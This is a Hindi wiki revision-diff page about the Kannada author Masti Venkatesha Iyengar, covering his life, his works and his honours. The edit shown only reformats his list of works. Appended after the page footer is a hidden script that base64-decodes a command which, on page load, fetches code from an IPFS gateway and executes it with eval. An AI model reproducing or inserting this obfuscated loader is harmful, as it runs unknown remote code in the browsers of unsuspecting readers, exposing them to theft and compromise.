"मास्ति वेंकटेश अय्यंगार" के अवतरणों में अंतर
कात्या सिंह (चर्चा | योगदान) |
कात्या सिंह (चर्चा | योगदान) |
||
पंक्ति 5: | पंक्ति 5: | ||
मास्ति वेंकटेश अय्यंगार का रचना संसार समृद्ध है। बिन्नह, अरुण तावरे, चेलुवु, गौडरमल्ली, नवरात्रि आदि इसके कविता संग्रह हैं। 'श्रीराम पट्टाभिषेक' इनका [[महाकाव्य]] है। इनकी लिखी सैकड़ों कहानियाँ 10 भागों में प्रकाशित हैं। चेन्नबसव नायक और चिकवीर राजेन्द्र - मास्ति के दो वृहत उपन्यास हैं। काकनकोटे, ताळीकोटे, यशोधरा आदि नाटक हैं। लियर महाराजा, चंडमारूत, द्वादषरात्री, हैमलेट आदि इनके कन्नड अनुवाद नाटक हैं। मास्तिजी की आत्मकथा ‘भाव’ तीन भागों में प्रकाशित है। मास्ति ‘जीवन’ पत्रिका चलाते थे। [[1944]] से [[1965]] तक वे उसके संपादक थे। | मास्ति वेंकटेश अय्यंगार का रचना संसार समृद्ध है। बिन्नह, अरुण तावरे, चेलुवु, गौडरमल्ली, नवरात्रि आदि इसके कविता संग्रह हैं। 'श्रीराम पट्टाभिषेक' इनका [[महाकाव्य]] है। इनकी लिखी सैकड़ों कहानियाँ 10 भागों में प्रकाशित हैं। चेन्नबसव नायक और चिकवीर राजेन्द्र - मास्ति के दो वृहत उपन्यास हैं। काकनकोटे, ताळीकोटे, यशोधरा आदि नाटक हैं। लियर महाराजा, चंडमारूत, द्वादषरात्री, हैमलेट आदि इनके कन्नड अनुवाद नाटक हैं। मास्तिजी की आत्मकथा ‘भाव’ तीन भागों में प्रकाशित है। मास्ति ‘जीवन’ पत्रिका चलाते थे। [[1944]] से [[1965]] तक वे उसके संपादक थे। | ||
==प्रमुख कृतियाँ== | ==प्रमुख कृतियाँ== | ||
− | ;काव्य - अरुण, मलर, मूकन मक्कलु, मानवी, संक्रान्ति | + | ;काव्य - |
− | ;उपन्यास - चेन्नबसव नायक, चिक्क वीरराजेन्द्र, सुबण्णा, शेषम्मा | + | अरुण, मलर, मूकन मक्कलु, मानवी, संक्रान्ति |
− | ;नाटक - यशोधरा, काकन कोटे, पुरंदरदास | + | ;उपन्यास - |
− | ;आत्मकथा - भाव (तीन भागों में) | + | चेन्नबसव नायक, चिक्क वीरराजेन्द्र, सुबण्णा, शेषम्मा |
− | ;संपादन - जीवन (मासिक) पत्रिका | + | ;नाटक - |
− | ;अनुवाद - लियर महाराजा, चंडमारूत, द्वादषरात्री, हैमलेट | + | यशोधरा, काकन कोटे, पुरंदरदास |
+ | ;आत्मकथा - | ||
+ | भाव (तीन भागों में) | ||
+ | ;संपादन - | ||
+ | जीवन (मासिक) पत्रिका | ||
+ | ;अनुवाद - | ||
+ | लियर महाराजा, चंडमारूत, द्वादषरात्री, हैमलेट | ||
+ | |||
==सम्मान और पुरस्कार== | ==सम्मान और पुरस्कार== | ||
मास्ति [[साहित्य अकादमी]] और [[भारतीय ज्ञानपीठ]] के पुरस्कारों से समाट्टत थे। मैसूर विश्वविद्यालय ने मानद डी. लिट उपाधि से उन्हें सम्मानित किया था। 15 वीं कन्नड साहित्य सम्मेलन का अध्यक्ष पद उन्हें मिला था। ऐसे कई सम्मान राज्य एवं राष्ट्रस्तर पर मास्ति को प्राप्त हुए थे। | मास्ति [[साहित्य अकादमी]] और [[भारतीय ज्ञानपीठ]] के पुरस्कारों से समाट्टत थे। मैसूर विश्वविद्यालय ने मानद डी. लिट उपाधि से उन्हें सम्मानित किया था। 15 वीं कन्नड साहित्य सम्मेलन का अध्यक्ष पद उन्हें मिला था। ऐसे कई सम्मान राज्य एवं राष्ट्रस्तर पर मास्ति को प्राप्त हुए थे। |
11:32, 20 मार्च 2012 का अवतरण
मास्ति वेंकटेश अय्यंगार (6 जून, 1891- मास्ति, जिला कोलार (कर्नाटक); निधन : 6 जून, 1986 ) 'कन्नड कहानी के प्रवर्तक' और ’कन्नड की संपत्ति’ के रूप में ख्याति प्राप्त कवि, कहानीकार, उपन्यासकार, नाटककार, अनुवादक और आलोचक थे।
जीवन परिचय
कर्नाटक के कोलार ज़िले मालूर तालूकके मास्ति नामक गाँव में इनका जन्म हुआ। 1914 में मास्ति ने मद्रास विश्वविद्यालय से एम.ए. परीक्षा पास की। तदुपरांत मैसूर रियासत की सिविल सर्विस परीक्षा में उत्तीर्ण होकर असिस्टेंट कमिश्नर बने। 1930 में जिलाधिकारी बने।
रचनाएँ
मास्ति वेंकटेश अय्यंगार का रचना संसार समृद्ध है। बिन्नह, अरुण तावरे, चेलुवु, गौडरमल्ली, नवरात्रि आदि इसके कविता संग्रह हैं। 'श्रीराम पट्टाभिषेक' इनका महाकाव्य है। इनकी लिखी सैकड़ों कहानियाँ 10 भागों में प्रकाशित हैं। चेन्नबसव नायक और चिकवीर राजेन्द्र - मास्ति के दो वृहत उपन्यास हैं। काकनकोटे, ताळीकोटे, यशोधरा आदि नाटक हैं। लियर महाराजा, चंडमारूत, द्वादषरात्री, हैमलेट आदि इनके कन्नड अनुवाद नाटक हैं। मास्तिजी की आत्मकथा ‘भाव’ तीन भागों में प्रकाशित है। मास्ति ‘जीवन’ पत्रिका चलाते थे। 1944 से 1965 तक वे उसके संपादक थे।
प्रमुख कृतियाँ
- काव्य -
अरुण, मलर, मूकन मक्कलु, मानवी, संक्रान्ति
- उपन्यास -
चेन्नबसव नायक, चिक्क वीरराजेन्द्र, सुबण्णा, शेषम्मा
- नाटक -
यशोधरा, काकन कोटे, पुरंदरदास
- आत्मकथा -
भाव (तीन भागों में)
- संपादन -
जीवन (मासिक) पत्रिका
- अनुवाद -
लियर महाराजा, चंडमारूत, द्वादषरात्री, हैमलेट
सम्मान और पुरस्कार
मास्ति साहित्य अकादमी और भारतीय ज्ञानपीठ के पुरस्कारों से समाट्टत थे। मैसूर विश्वविद्यालय ने मानद डी. लिट उपाधि से उन्हें सम्मानित किया था। 15 वीं कन्नड साहित्य सम्मेलन का अध्यक्ष पद उन्हें मिला था। ऐसे कई सम्मान राज्य एवं राष्ट्रस्तर पर मास्ति को प्राप्त हुए थे।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>